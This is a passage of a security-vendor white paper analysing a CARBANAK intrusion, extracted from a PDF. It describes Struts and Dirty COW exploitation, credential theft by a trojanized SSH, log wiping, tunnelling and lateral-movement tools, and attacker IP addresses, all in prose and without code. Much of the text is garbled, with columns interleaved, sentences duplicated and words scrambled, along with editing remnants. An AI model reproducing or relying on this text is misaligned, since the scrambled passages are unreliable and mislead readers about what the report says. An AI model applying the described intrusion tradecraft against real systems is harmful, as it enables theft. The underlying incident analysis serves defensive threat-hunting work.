+Krebs; 
+Krebs on Security 
+ Posts Tagged: Carbanak
+; https://krebsonsecurity.com/tag/carbanak/
+Schwartz; 
+Sophisticated Carbanak Banking Malware Returns, With Upgrades
+https://www.bankinfosecurity.com/sophisticated-carbanak-banking-malware-returnsupgrades-a-8523
+Krebs; 
+Payments Giant Verifone Investigating Breach
+https://krebsonsecurity.com/2017/03/payments-giant-verifone-investigating-breach/
+Krebs; 
+Hyatt Hotels Suffers 2nd Card Breach in 2 Years
+https://krebsonsecurity.com/2017/10/hyatt-hotels-suffers-2nd-card-breach-in-2-years/
+Miller, Nuce, Vengerik; 
+FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings
+https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
+WHITE PAPER
+ The initial intrusion vector
+ Unique attacker toolset
+ The attacker dwell time
+ The large, heterogeneous environment
+ The speed with which the attackers gained administrative access
+ The forensic mindfulness of the CARBANAK attackers
+The toolset utilized by the attackers was a mix of custom
+! tools, freely
+The!Shadows!of!Ghosts!
+! researched
+Case!Study:!CARBANAK!
+available code, and open source software utilities. RSA IR
+all 32 of
+the malicious files in the CARBANAK toolset using various publicly available
+andutilized
+open source
+Six of
+used tools,
+in thisfreely
+intrusion
+werecode
+found
+The toolset
+by theresources.
+attackers was
+a the
+mix tools
+of custom
+available
+and open
+source software
+utilities.
+researched
+malicious
+files
+CARBANAK
+to have been uploaded to a publicly available antivirus aggregation site. Of
+toolset using various publicly available and open source resources. Six of the tools used in this
+fivetoofhave
+thembeen
+haveuploaded
+little to no
+or indication
+of malice
+from site. Of
+intrusionthese
+weresix,
+found
+to detection
+a publicly available
+antivirus
+aggregation
+these six,
+five of them
+haveThis
+little
+to no detection
+or indication
+of malice
+from
+antivirus vendors.
+antivirus
+vendors.
+observation
+explains
+the reason
+that the
+client
+This observation
+explainshost
+the reason
+that mechanisms
+the client
+s signature-based
+protection
+signature-based
+protection
+were unable tohost
+identify
+mechanisms were unable to identify or prevent the use of these tools.
+prevent the use of these tools.
+Figure
+1:1:
+Findings
+from
+Researchof
+ofToolset
+ToolsetReference
+Reference
+Figure
+Findings
+fromPublic
+Publicand
+andOpen
+Open Source
+Source Research
+While the
+attackers
+used more
+than
+30 unique
+malware
+and tools,and
+they
+also
+While
+the attackers
+used
+more
+than 30samples
+unique of
+samples
+of malware
+tools,
+demonstrated a normalization across Windows and Linux with respect to their toolset. The
+demonstrated
+a normalization
+across
+Windows
+and Linux with
+toolsets they
+they also
+deployed
+can be broken
+down into five
+basic
+functionalities:
+respect to their toolset. The toolsets they deployed can be broken down into
+Ingress/Egress/Remote
+Access
+five basic functionalities:
+Lateral Movement
+Cleanup
+ Ingress/Egress/Remote
+Access
+Credential Harvesting
+ Lateral
+Movement
+Internal
+Reconnaissance
+ Log
+Cleanup this distinct functionality in their toolsets, they normalized functions
+In addition
+to following
+across different operating system environments in the forms of the two versions of
+ Credential Harvesting
+AUDITUNNEL, PSCAN, and the use of WINEXE (Linux) and TINYP (Windows). This
+normalization
+of tools
+is discussed in more detail later in this paper, but it identifies that not only
+ Internal
+Reconnaissance
+do CARBANAK actors have the capability to successfully compromise various operating system
+environments, they have actually standardized and operationalized this capability. This attribute
+indicates strategic operational thought and effort being invested in this group
+s compromises,
+Page 7
+WHITE PAPER
+In addition to following this distinct functionality in their toolsets, they
+normalized functions across different operating system environments in the
+forms of the two versions of AUDITUNNEL, PSCAN, and the use of WINEXE
+(Linux) and TINYP (Windows). This normalization of tools is discussed in more
+detail later in this paper, but it identifies that not only do CARBANAK actors
+have the capability to successfully compromise various operating system
+environments, they have actually standardized and operationalized this
+capability. This attribute indicates strategic operational thought and effort
+being invested in this group
+s compromises, suggesting that the CARBANAK
+actors are working towards becoming a more organized, structured,
+resourceful and mature threat group.
+During an intrusion, time is the single most critical resource to an
+organization
+s security team and is the most significant indicator of
+determining if the security team will be successful in containing, eradicating
+and remediating the extant threat. There are two specific sets of time related
+to an intrusion that may determine the difference between success and
+failure: the time that the attackers are in the environment prior to detection
+(dwell time) and the time it takes security teams to identify, investigate,
+understand, and contain the attackers
+ actions (response time). In this specific
+incident, the attackers
+ dwell time at intrusion declaration was 35 days,
+which is a significant amount of time given the level of access immediately
+available upon compromise. However, by utilizing the methodology and
+visibility described in this report, RSA IR was able to complete containment,
+eradication, and remediation in only nine days. Further below we discuss the
+methodology used by RSA IR to successfully detect, investigate, understand,
+and contain the attackers before the actors could achieve their intended goal.
+A significant number of organizations focus on majority systems software,
+such as Microsoft Windows, for the predominant amount of their visibility.
+This often leaves minority systems with very little visibility, protections, or
+investigative observational points. Additionally, these minority systems, Linux
+being the most significant example, often operate key public-facing or critical
+data-based services. Not planning for visibility to ensure minority systems
+are included in threat hunting, vulnerability assessments, network data
+captures and forensic investigations leads to a false sense of organizational
+security and ensures that attackers retain a refuge of critical systems inside
+environments. The incident discussed in this report illustrates the dangers
+present within this approach once attackers begin utilizing these systems
+against organizations. In this report, we discuss the ways the CARBANAK
+actors utilized these systems and the methodology used by RSA IR to
+successfully respond to this threat.
+It highlights the progression of analysis from threat hunting and initial
+detection to root cause analysis, incident scoping and follow-on investigation.
+The majority of the analysis conducted during this engagement was
+WHITE PAPER
+performed using RSA
+s flagship product, RSA NetWitness Suite. During this
+investigation, RSA IR utilized RSA NetWitness Logs and Packets (formerly
+RSA Security Analytics) for network visibility and RSA NetWitness Endpoint
+(formerly RSA ECAT) for endpoint visibility. These marquee technologies
+allow RSA IR and client analysts to process massive data sets, find forensically
+interesting artifacts in near real time and do both more quickly than utilizing
+standard incident response and forensic procedures. The purpose of this
+report is to share actionable threat intelligence associated with a persistent
+adversary, discuss the RSA Incident Response Team
+s Threat Hunting and
+Response Methodology in practice, and illustrate the use of this methodology
+as used by RSA IR analysts during a live intrusion. To that end, the Threat
+Hunting methodology, examples of detected activity and Incident Response
+procedures illustrated in this report have been described in a manner that
+can be effectively implemented by any security technology that affords
+the analyst the necessary visibility. RSA IR also includes a Digital Appendix
+containing file hashes, domain and IP addresses, and detection content for
+both RSA NetWitness Endpoint and RSA NetWitness Logs and Packets. While
+the detection content has been written specifically for the RSA NetWitness
+Suite, each parser and query contains detailed descriptions of their detection
+mechanisms for implementation into any available toolset with appropriate
+visibility. The hope is that by publishing this report, RSA IR encourages and
+empowers operational analysts to utilize Threat Hunting and the RSA IR
+Methodology within their own environments.
+The CARBANAK actors are financially motivated, advanced actors that have
+historically targeted financial and hospitality laterals, with a recent move
+into targeting restaurants.6 This threat actor group has shown themselves
+to be proficient and careful in their toolset utilization, consistently
+removing evidence of any actions-on-objective as they proceed through
+an environment. They have been observed utilizing various malware,
+methods and communications, with tools and techniques often differing
+greatly between targets. While this group has shown technical ingenuity in
+techniques such as point-of-sale implants,7 Google services command-andcontrol communications8 and persistence via application shim databases9,
+they have also shown a propensity for using freely available or open source
+Mesa, Huss; 
+FIN7/CARBANAK Threat Actor Unleashes Bateleur Jscript Backdoor
+https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashesbateleur-jscript-backdoor
+KYaneza; 
+Signed PoS Malware Used in Pre-Holiday Attacks, Linked to Targeted Attacks
+http://blog.trendmicro.com/trendlabs-security-intelligence/signed-pos-malware-used-in-preholiday-attacks-linked-to-targeted-attacks/
+Griffin; 
+CARBANAK Group Uses Google for Malware Command-and-Control
+https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-commandand-control
+Erikson, McWhirt, Palombo; 
+To SDB, or Not to SDB: FIN7 Leveraging Shim Databases for Persistence
+https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
+WHITE PAPER
+toolsets for much of their lateral activities. Whatever the methods used,
+CARBANAK has shown themselves to be highly persistent and determined
+actors, able to rapidly compromise and traverse various environments while
+quickly adapting to internal security controls.
+This white paper covers a sampling of observed indicators derived and utilized
+during this engagement. Included are the details regarding the observed
+intrusion vector, entrenchment techniques, actions-on-objective, lateral
+movement tools and methods, unique malicious files, and behavioral indicators
+utilized in the identification, tracking and response of this actor group.
+Included with the publication of this report is a Digital Appendix, containing
+content for RSA NetWitness Logs and Packets and RSA NetWitness Endpoint
+used to identify and track attacker activity throughout the environment during
+this incident. All content should be tested before full integration into RSA
+NetWitness Endpoint, RSA NetWitness Logs and Packets or third-party tools
+to prevent any adverse effects from unknown environmental variables. More
+information on the associated Digital Appendix is found in Section 7.
+Disclaimer: This white paper and related graphics are provided for informational and/or educational
+purposes. The information contained in this document is intended only as general guidance and is
+not legal advice. Although the greatest care has been taken in the preparation and compilation of this
+white paper, RSA, its servants and/or agents will accept no liability or responsibility of any kind. This
+white paper is not intended to be a substitute for legal or other professional advice, and constitutes the
+opinions of the author(s). All information gathered is believed correct as of October 2017. Corrections
+should be sent to RSA for future editions. Redistribution or reproduction of this document is prohibited
+without written permission of RSA.
+WHITE PAPER
+3. INTRUSION OVERVIEW
+3.1 ANATOMY OF ATTACK
+In researching this white paper, the majority of intelligence and incident
+reports reviewed described phishing and malicious document-related tactics
+The!Shadows!of!Ghosts!
+being utilized by CARBANAK actors as a method of initial
+compromise.
+Case!Study:!CARBANAK!
+However, the initial method of compromise observed! during this engagement
+3! Intrusion
+Overview
+utilized the Apache
+Struts Content-Type arbitrary command execution
+vulnerability, CVE-2017-5638.10 This vulnerability has since been patched
+3.1! Anatomy of Attack
+by the Apache Software Foundation, and the recommended remediation
+In researching this white paper, the majority of
+intelligence and incident reports reviewed
+process
+is available
+on their
+website.11 While
+thebeing
+time-tested
+method
+of actors
+described
+phishing
+and malicious
+document-related
+tactics
+utilized by
+CARBANAK
+as acompromising
+method of initialthe
+compromise.
+However,
+initial
+method
+compromise
+observed
+during
+user base as the initial ingress method is still very effective,
+this engagement utilized the Apache Struts content-type arbitrary command execution
+10 commonly give attackers a significant escalation
+server-level
+compromises
+vulnerability,
+CVE-2017-5638.
+This vulnerability has since been patched by the Apache
+Software
+Foundation,
+recommended
+remediation
+process
+is available
+on their and
+website.11
+in initial privilege, as well as a shorter
+path between
+initial
+compromise
+While the time-tested method of compromising the user base as the initial ingress method is still
+data. Thiscompromises
+allows themcommonly
+greater give
+rights
+and versatility
+upon
+initial in
+veryend-target
+effective, server-level
+attackers
+a significant
+escalation
+initial
+privilege,
+well
+shorter
+path
+between
+initial
+compromise
+end-target
+data. This
+compromise while making it harder for defenders to stop them on the initially
+allows them greater rights and versatility upon initial compromise while making it harder for
+compromised
+system.
+anatomy
+of the engagement,
+brokenofinto
+defenders
+to stop them
+on theAn
+initially
+compromised
+system. An anatomy
+the engagement,
+broken
+into
+primary
+stages,
+illustrated
+Figure
+primary stages, is illustrated in Figure 2.
+Delete
+Delete
+Comm
+entry:
+bin/cv
+Forma
+Delete
+Delete
+Delete
+Comm
+the sty
+short,
+submi
+Comm
+brande
+team c
+busine
+Figure 2: Staged Overview of Engagement
+Upon determining that the initially compromised web server, designated as
+system ALPHA,
+was and
+vulnerable
+to CVE-2017-5638,
+the rest of the attacker
+Common
+Vulnerabilities
+Exposures
+https://cve.mitre.org/cgibin/cvename.cgi?name=CVE-2017-5638
+actions
+could
+grouped
+into
+eight
+stages
+illustrated
+in Figure 2. These
+Apache Struts Documentation: S2-046
+; https://struts.apache.org/docs/s2-046.html
+phases are described further in the remainder of Section 3. All binaries, withPage 10
+the exception of the 
+ Perl script, are described in detail in Section 4.
+Common Vulnerabilities and Exposures
+https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
+Apache Struts Documentation: S2-046
+; https://struts.apache.org/docs/s2-046.html
+WHITE PAPER
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+Figure 2: Staged Overview of Engagement
+Upon determining that the initially compromised web server, designated as system ALPHA, was
+3.1.1 Phase
+1: D+0
+vulnerable
+to CVE-2017-5638,
+the rest of the attacker actions could be grouped into the eight
+stages illustrated in Figure 2. These phases are described further in the remainder of Section 3.
+Initial Compromise, Initial Code Execution
+All binaries, with the exception of the 
+ Perl script, are described in detail in Section 4.
+Attackers
+from
+3.1.1!
+Phase 1:
+D+0IP 185.117.88.97 utilize CVE-2017-5638 to download
+andCompromise,
+execute a Perl
+script
+ALPHA. The Perl script was downloaded via
+Initial
+Initial
+Codeon
+Execution
+WGET from IP 95.215.45.116. This action constitutes the moment of initial
+Attackers from IP 185.117.88.97 utilize CVE-2017-5638 to download and execute a Perl
+compromise
+referenced
+in this document
+as from
+All95.215.45.116.
+other times This
+script
+on ALPHA.and
+The is
+Perl
+script was downloaded
+via WGET
+action
+constitutes
+the report
+momentwill
+of initial
+compromise
+document
+discussed
+in this
+use this
+moment
+asisa referenced
+referenceininthis
+their
+notation,
+All other times discussed in this report will use this moment as a reference in their notation,
+such
+refers
+twoafter
+days
+after
+initial compromise.
+metadata
+such
+thatthat
+refers
+to twoto
+days
+initial
+compromise.
+The metadata
+created
+by RSA
+NetWitness Suite describing this action is shown in Figure 3.
+created by RSA NetWitness Suite describing this action is shown in Figure 3.
+Delete
+Delete
+Delete
+Delete
+Delete
+FigureFigure
+3: Perl
+Script
+Download
+95.215.46.116
+3: Perl
+Script
+Downloadfrom
+from 95.215.46.116
+3.1.2!
+Phase
+2: D+0
+3.1.2
+Phase
+2: D+0
+Internal Reconnaissance, Privilege Escalation, Persistence
+Internal Reconnaissance, Privilege Escalation, Persistence
+Six minutes after the download and execution of the Perl script, system ALPHA began
+Six minutes after the download and execution of the Perl script, system
+communicating with IP address 95.215.46.116 via IRC. While the available full packet capture
+ALPHA
+communicating
+IP address
+95.215.46.116
+IRC.was
+While
+retention
+didbegan
+not extend
+to this date atwith
+the time
+of analysis,
+the metadata via
+created
+still
+available. While RSA was unable to review the raw data to determine actions taken, RSA IR was
+the available full packet capture retention did not extend to this date at the
+able to determine traffic type, as well as infer the intention of the nature of actions taken via this
+channel.
+It analysis,
+appeared that
+IRC communication
+a method
+of remote
+time of
+the this
+metadata
+created was
+still
+available.
+Whilecommand
+RSA wasexecution
+conducted by the attackers, evidenced by the presence of an output from the 
+ User Activity
+unable to review the raw data to determine actions taken, RSA IR was able to
+Linux binary. This is illustrated in Figure 4.
+determine traffic type, as well as infer the intention of the nature of actions
+taken via this channel. It appeared that this IRC communication was a method
+Page 11
+of remote command execution conducted by the attackers, evidenced by
+the presence of an output from the 
+ User Activity Linux binary. This is
+illustrated in Figure 4.
+Delete
+Delete
+Delete
+Delete
+WHITE PAPER
+The!Shadows!of!Ghos
+Case!Study:!CARBANA
+Figure
+4: 4:
+Metadata
+Showing
+Output,
+Actions
+andand
+PortPort
+Usage
+in IRC
+Traffic
+Figure
+Metadata
+Showing
+Output,
+Actions
+Usage
+in IRC
+Traffic
+While the attackers attempted to use the 
+sudo
+ administrative privilege
+While thebinary
+attackers
+attempted
+to use
+the 
+sudo
+ administrative
+privilege
+binary to gain root
+to gain
+root access,
+the privilege-separation
+user the
+web server
+access, the privilege-separation user the web server was running as did not have the necessary
+was running as did not have the necessary permission. In response to this,
+permission. In response to this, the attackers downloaded a copy of C source Proof of Concept
+thewritten
+attackers
+copy ofthe
+C source
+Proof ofCopy-on-Write
+Concept (PoC) 
+Dirty
+code COW
+(PoC) code
+by downloaded
+KrE80r
+ to aexploit
+Linux Kernel
+written
+KrE80r
+ to exploit
+Linux Kernel
+Copy-on-Write
+Dirty COW
+vulnerability,
+CVE-2016-5195.
+Thisthe
+vulnerability
+since been resolved
+by the major Linux
+distributions,
+with
+list
+patched
+kernels
+found
+GitHub.
+same
+time, the attacke
+vulnerability, CVE-2016-5195. This vulnerability has since been resolved
+downloaded a Bash shell script as a driver for the exploit code, named 
+1.sh
+. This allowed the
+by the major Linux distributions, with the list of patched kernels found on
+attackers to gain13root privileges on the system at the 27-minute mark. The observed download
+At the same time, the attackers downloaded a Bash shell script as
+is shown GitHub.
+in Figure 5.
+a driver for the exploit code, named 
+1.sh
+. This allowed the attackers to gain
+The!Shadows!of!Gh
+root privileges on the system at the 27-minute mark. The observed
+download
+Case!Study:!CARBAN
+is shown in Figure 5.
+Common Vulnerabilities and Exposures
+; https://cve.mitre.org/cgibin/cvename.cgi?name=CVE-2016-5195
+Benvenuto; 
+Patched Kernel Versions
+https://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions
+Page
+Figure
+Downloadof
+of CVE-2016-5195 Exploit
+Bash
+Script
+Driver
+Figure
+5:5:
+Download
+ExploitCode
+Codeand
+Bash
+Script
+Driver
+Common Vulnerabilities and Exposures
+https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
+While the attackers
+Patched
+had root
+level
+access, they did not have user credentials to move
+Benvenuto;
+Kernel
+Versions
+laterally withinhttps://github.com/dirtycow/dirtycow.github.io/wiki/Patched-Kernel-Versions
+the environment. In order to gain that access, the attackers downloaded versi
+of the OpenSSH 5.3p1 client and server binaries that had been trojanized with malware know
+as SSHDOOR,14 and installed them onto host ALPHA. The SSHDOOR malware will beacon o
+WHITE PAPER
+While the attackers now had root level access, they did not have user
+credentials to move laterally within the environment. In order to gain that
+access, the attackers downloaded versions of the OpenSSH 5.3p1 client and
+server binaries that had been trojanized with malware known as SSHDOOR,14
+and installed them onto host ALPHA. The SSHDOOR malware will beacon out
+to IP 185.61.148.96 every 10 minutes until a response is received. A secondary
+function of this malware was credential theft, by which SSHDOOR sends the
+username, password and source/destination host to the attackers. The attackers
+then disengage, leaving the malware to collect credentials until the next day.
+3.1.3 Phase 3: D+1 through D+3
+Lateral Movement, Secondary Ingress, Internal Reconnaissance,
+Credential Harvesting
+Upon gaining credentials via the SSHDOOR malware, attackers respond to
+the SSHDOOR beaconing and establish an SSH tunnel to IP 95.215.46.116
+over TCP port 443. In reviewing the configuration and running processes on
+ALPHA, the attackers observed that the system was running winbind, the UNIX
+implementations of Microsoft RPC, Pluggable Authentication Modules (PAM)
+and the name service switch (NSS). This service allows for unified logins across
+UNIX systems and Microsoft Windows Active Directory (AD). Winbind is a
+component of samba, the Windows interoperability suite for Linux and UNIX,
+which stores information about Windows Active Directory in its configuration
+files. After observing this service running on the system, the attackers checked
+these configuration files for the DNS names of the Microsoft Windows Domain
+Controllers used by winbind to authenticate AD accounts. Upon conducting
+a DNS query for the domain name in the configuration file, the attackers
+gained the names and IP addresses of the two primary DNS servers (also
+Windows Domain Controllers) and the server listed in the configuration file.
+Subsequently, the attackers download a tool named WINEXE, a Linux binary
+that allows remote command execution on Windows systems.
+Linux.Sshdoor
+https://www.symantec.com/security_response/writeup.jsp?docid=2013-012808-1032-99
+WHITE PAPER
+The!Shadows!of!G
+Case!Study:!CARB
+Figure 6: Download of Winexe via WGET to ALPHA
+Figure 6: Download of Winexe via WGET to ALPHA
+The attackers used credentials taken by the SSHDOOR malware to log in to
+The attackers used credentials taken by the SSHDOOR malware to log in to each of the
+of the Windows
+servers, running
+the qwinsta.exe
+and tasklist.exe
+binaries
+Windows servers,each
+running
+the qwinsta.exe
+and tasklist.exe
+binaries
+on each
+and then loggin
+on each and then logging out.
+out.
+3.1.4 Phase 4: D+3 through D+25
+Privilege
+Escalation,D+25
+Internal Reconnaissance, Persistence, Entrenchment,
+3.1.4! Phase 4: D+3
+through
+Lateral Movement
+Privilege Escalation, Internal Reconnaissance, Persistence, Entrenchment, Lateral Movemen
+The attackers also observed that one of the Windows Domain-authenticated
+credentials
+stolen
+the of
+service
+for the
+client
+s authenticated
+The attackers also
+observed
+that
+the account
+Windows
+Domain-authenticated
+credentials stol
+was the service account
+forscans,
+the client
+authenticated
+scans,
+and was present i
+vulnerability
+and was present
+in the localvulnerability
+sudoers
+ file. Having
+determined
+local 
+sudoers
+ file.
+determined
+the current
+level
+of access
+available
+to them, the
+theHaving
+current level
+of access available
+to them,
+the attackers
+decided
+to download
+attackers decidedadditional
+to download
+toolsa in
+order
+establish
+a static entry point into
+tools inadditional
+order to establish
+static
+entrytopoint
+into the environment
+environment ensuring
+they
+avoid
+detection.
+To accomplish
+this, the attackers downloa
+ensuring
+theycould
+could avoid
+detection.
+To accomplish
+this, the attackers
+the PSCAN TCP port
+scanner
+Advanced
+Wiper
+binaries
+and began identify
+downloaded the PSCAN TCP port scanner and the ALW Advanced Log Wiper
+systems and services accessible from ALPHA.
+binaries and began identifying systems and services accessible from ALPHA.
+WHITE PAPER
+The!Shadows!of!Ghos
+Case!Study:!CARBANA
+Figure
+Downloadof
+of ALW
+ALW and
+95.215.46.116
+Figure
+7:7:
+Download
+andPSCAN
+PSCANfrom
+from
+95.215.46.116
+One of these
+Red Hatserver,
+Satellitewhich
+server,iswhich
+is the primary
+One of these systems
+was systems
+the Redwas
+Hatthe
+Satellite
+the primary
+enterprise update
+updateLinux
+server(RHEL)
+for Red deployments.
+Hat Enterprise Linux
+deployments.
+server for Red enterprise
+Hat Enterprise
+Given(RHEL)
+that the
+Satellite server require
+the ability to interact
+with
+other systems
+underthe
+root to
+user
+in order
+update software, th
+Given that
+theall
+Satellite
+server requires
+ability
+interact
+with to
+all other
+attackers chose
+this
+system
+their
+initial
+primary
+staging
+system.
+This
+system
+was designated
+systems under the root user in order to update software, the attackers
+system BRAVO. From BRAVO, the attackers traversed the Linux environment through stolen
+chose this system as their initial primary staging system. This system was
+credentials and SSH pre-shared keys and conducted internal reconnaissance on any Windows
+systemaccess.
+BRAVO.During
+From BRAVO,
+the attackers
+traversed
+the contained all
+systems withindesignated
+direct network
+this time,
+the attackers
+strictly
+environment
+stolennetwork
+credentials
+and SSH pre-shared
+andenvironment.
+malicious files,Linux
+secondary
+tools through
+and ingress
+communication
+to thekeys
+Linux
+conducted
+internaltested
+reconnaissance
+onvulnerability
+any Windows on
+systems
+direct
+Additionally, they
+consistently
+the Struts
+host within
+ALPHA
+to ensure the initi
+method of compromise
+was open,
+alert
+to any
+possible
+remediation
+of that system
+network access.
+Duringand
+thisto
+time,
+thethem
+attackers
+strictly
+contained
+all malicious
+files, secondary tools and ingress network communication to the Linux
+environment.
+Additionally,
+3.1.5! Phase 5:
+D+25 through
+D+30they consistently tested the Struts vulnerability
+on host ALPHA to ensure the initial method of compromise was open, and to
+Disruption, Adaptive Action, Entrenchment, Lateral Movement, Persistence
+alert them to any possible remediation of that system.
+The discovery of the Struts vulnerability on host ALPHA, and its subsequent remediation, gave
+3.1.5 Phase 5: D+25 through D+30
+the attackers a moment of pause, and they migrated a copy of the SSHDOOR client and serve
+Disruption,
+Movement,
+to the centralized
+SyslogAdaptive
+server,Action,
+alongEntrenchment,
+with a copy Lateral
+of WINEXE,
+thePersistence
+ALW Log Wiper and their
+own SSH pre-shared
+key,
+which
+they
+installed
+seven
+at this point.
+The discovery of the Struts vulnerability on host ALPHA, and its systems
+subsequent
+They utilized the
+wiper
+Syslog
+server,
+designated
+system
+CHARLIE,
+in order to
+remediation, gave the attackers a moment of pause, and they migrated a copy
+remove any log traces of their activities to date at the centralized source and hinder any follow
+of the SSHDOOR client and server to the centralized Syslog server, along
+with a copy of WINEXE, the ALW Log Wiper and their own SSH pre-shared
+Page
+key, all of which they had installed on seven key systems at this point. They
+WHITE PAPER
+utilized the ALW log wiper on the Syslog server, designated !system CHARLIE,
+The!Shadows!of!G
+in order to remove any log traces of their activities to date at
+! the centralized
+Case!Study:!CARB
+! would use
+source and hinder any follow-on investigations. The attackers
+on investigations. system
+The attackers
+would
+system
+CHARLIE
+their
+primary
+Linux egress
+CHARLIE as their primary Linux egress point for the rest of
+for the rest of theincident,
+incident,
+though
+they ensure
+wouldthat
+ensure
+that the binaries
+SSHDOOR
+binaries remaine
+though
+they would
+the SSHDOOR
+remained
+BRAVO as a backup
+ingress
+mechanism.
+Additionally,
+they
+downloaded
+on BRAVO as a backup ingress mechanism. Additionally, they downloadedAUDITUNNEL
+Reverse Tunnelingthe
+tool
+to host CHARLIE
+and began
+this as and
+their
+primary
+AUDITUNNEL
+Reverse Tunneling
+tool tousing
+host CHARLIE
+began
+using method of
+ingress to the Linux
+This was
+assumedly
+done
+to transition
+thisenvironment.
+as their primary method
+of ingress
+to the Linux
+environment.
+This to
+wasa new ingress
+method should any investigation around the remediation of ALPHA identify the SSHDOOR
+assumedly done to transition to a new ingress method should any investigation
+malware.
+around the remediation of ALPHA identify the SSHDOOR malware.
+Figure
+8: AUDITUNNELDownload
+Download from
+95.215.46.116
+Figure
+8: AUDITUNNEL
+from
+95.215.46.116
+To ensure
+they
+could retain
+they replaced
+SSHDOOR
+To ensure they could
+retain
+access,
+theyaccess,
+replaced
+SSHDOOR
+with with
+AUDITUNNEL on four o
+four of the key
+systems. They
+any significant until D+29, at wh
+key systems. TheyAUDITUNNEL
+ceased anyonsignificant
+operation
+into ceased
+the environment
+operation into
+environment until
+D+29, atmethods
+which timewere
+both the
+time both the SSHDOOR
+andthe
+AUDITUNNEL
+ingress
+stillSSHDOOR
+operational. On D+
+the attackers migrate
+into the Windows
+server were
+environment
+proper
+to find
+and AUDITUNNEL
+ingress methods
+still operational.
+On D+30,
+thean appropriate
+staging system toattackers
+install malware
+staging
+ingress within
+Windows
+environme
+migrate into
+the begin
+Windows
+server environment
+proper
+to find
+After three failed attempts,
+attackers
+find
+Windows
+Domain
+Controller
+with
+appropriate staging system to install malware and begin staging ingress within Internet
+access, designated
+DELTA.
+thesystem
+Windows
+environment. After three failed attempts, the attackers find a
+Windows Domain Controller with Internet access, designated system DELTA.
+3.1.6! Phase 6: D+30
+through
+D+44
+3.1.6 Phase
+6: D+30
+through D+44
+Movement, Entrenchment,
+Persistence, Entrenchment,
+Internal
+Reconnaissance, Credential Harves
+Lateral Movement,Lateral
+Persistence,
+Internal
+Reconnaissance,
+Credential Harvesting
+Once firmly on DELTA,
+the on
+attackers
+downloaded
+and installed
+the GOTROJ
+Once firmly
+DELTA, the
+attackers downloaded
+and installed
+the GOTROJmalware as th
+primary method ofmalware
+ingress
+into
+Windows
+environment.
+this
+point,
+they have secured
+as their primary method of ingress into the Windows environment.
+methods of ingress into the environment across three different ingress methods. In order t
+At this point, they have secured nine methods of ingress into the environment
+ensure ingress via the GOTROJ channel, the actors execute the malware into memory on t
+across three different ingress methods. In order to ensure ingress via the
+additional systems, putting the system ingress count at twelve systems. Once the malware
+GOTROJ channel, the actors execute the malware into memory on three
+persistent and tested on DELTA, the attackers download a Windows version of WGET and
+additional tool
+systems,
+putting the
+system ingress
+counttraversing
+at twelve systems.
+Once
+TINYP lateral movement
+to system
+DELTA
+and begin
+the Windows
+environ
+malware
+persistent
+tested
+DELTA,
+attackers
+download
+As they move through the environment, they download a secondary versiona of TINYP, a h
+Windows
+of WGET
+and thelisting
+TINYP lateral
+movement
+toola to
+system version of
+reconnaissance tool
+calledversion
+INFOS,
+a process
+tool called
+CCS,
+custom
+DELTA
+begin
+traversing
+Windows
+environment.
+they
+move
+through
+MIMIKATZ, a Windows version of the previously mentioned PSCAN scanner,
+and the PuTT
+Secure Copy tool called PSCP.
+WHITE PAPER
+the environment, they download a secondary version of TINYP, a host
+reconnaissance tool called INFOS, a process listing tool called CCS, a custom
+version of MIMIKATZ, a Windows version of the previously
+mentioned
+PSCAN
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+scanner, and the PuTTY Secure Copy tool called PSCP.
+Figure
+9: Windows
+Toolset
+Download
+ofTINYP,
+WGET,INFOS,
+TINYP,CCS,
+INFOS,
+CCS, MIMIKATZ,
+Figure
+9: Windows
+Toolset
+Download
+of WGET,
+MIMIKATZ,
+PSCP and PSCAN
+PSCP and PSCAN
+During this time, it becomes quickly apparent that the attackers are targeting critical financial
+data, based on commands, string searches and lateral movement decisions conducted by the
+During
+time, ituntil
+becomes
+quicklyat
+apparent
+that
+the attackers
+are targeting
+attackers.
+Thisthis
+continues
+D+43/D+44,
+which time
+a coordinated
+expulsion
+event took
+place and
+post-remediation
+activities
+began.
+critical financial data, based on commands, string searches and lateral
+movement decisions conducted by the attackers. This continues until D+43/
+D+44, at which time a coordinated expulsion event took place and postThe client
+contactedactivities
+RSA IR when
+system administrators observed anomalies associated with the
+remediation
+began.
+3.2! Detection and Response
+root
+ user on system ALPHA during remediation. These anomalies were brought to the attention
+of client security personnel. The CVE-2017-5638 vulnerability present on system ALPHA was
+3.2 25
+DETECTION
+identified
+days (D+25)
+afterRESPONSE
+the initial compromise when hundreds of thousands of successful
+vulnerability
+scanning
+and exploit
+sessions
+against the
+system wereobserved
+observed. anomalies
+The vulnerability
+The client
+contacted
+RSA IR
+when system
+administrators
+was determined to have been introduced by an out-of-band source installation of an affected
+associated
+thewhich
+root
+user
+on system
+during
+remediation.
+version
+of Apache with
+Struts,
+been
+installedALPHA
+by the web
+developers.
+While These
+organization
+had taken
+the necessary
+to remediate
+patch all
+systems reported
+anomalies
+were brought
+to thesteps
+attention
+of client
+security
+personnel.
+vulnerable to CVE-2017-5638, the vulnerable web page on system ALPHA was not detected
+CVE-2017-5638 vulnerability present on system ALPHA was identified 25
+due to the web server and operating system reporting that the affected package was not
+daysBased
+(D+25)
+after
+the initial
+compromise
+whenexploit
+hundreds
+of thousands
+of from the
+installed.
+on the
+extensive
+number
+of successful
+attempts
+that ranged
+returnsuccessful
+of a pre-defined
+character
+string
+successful
+downloading
+execution
+vulnerability scanning and exploit sessions against the systemmalicious
+were
+code, system ALPHA was removed from service, a forensic image was obtained for in-depth
+observed.
+vulnerability
+determined
+have
+been
+introduced
+analysis and the system was restored and remediated. The forensic image was made available to
+RSA IR
+upon engagement
+services, with
+IR beginning
+threat
+huntingStruts,
+actionswhich
+and followout-of-band
+sourceofinstallation
+of an
+affected
+version
+of Apache
+on investigations on D+35.
+had been installed by the web developers. While the organization had taken
+Duringthe
+threat
+huntingsteps
+operations
+conducted
+in patch
+concertallwith
+client reported
+analysts, RSA
+IR identified
+necessary
+to remediate
+systems
+vulnerable
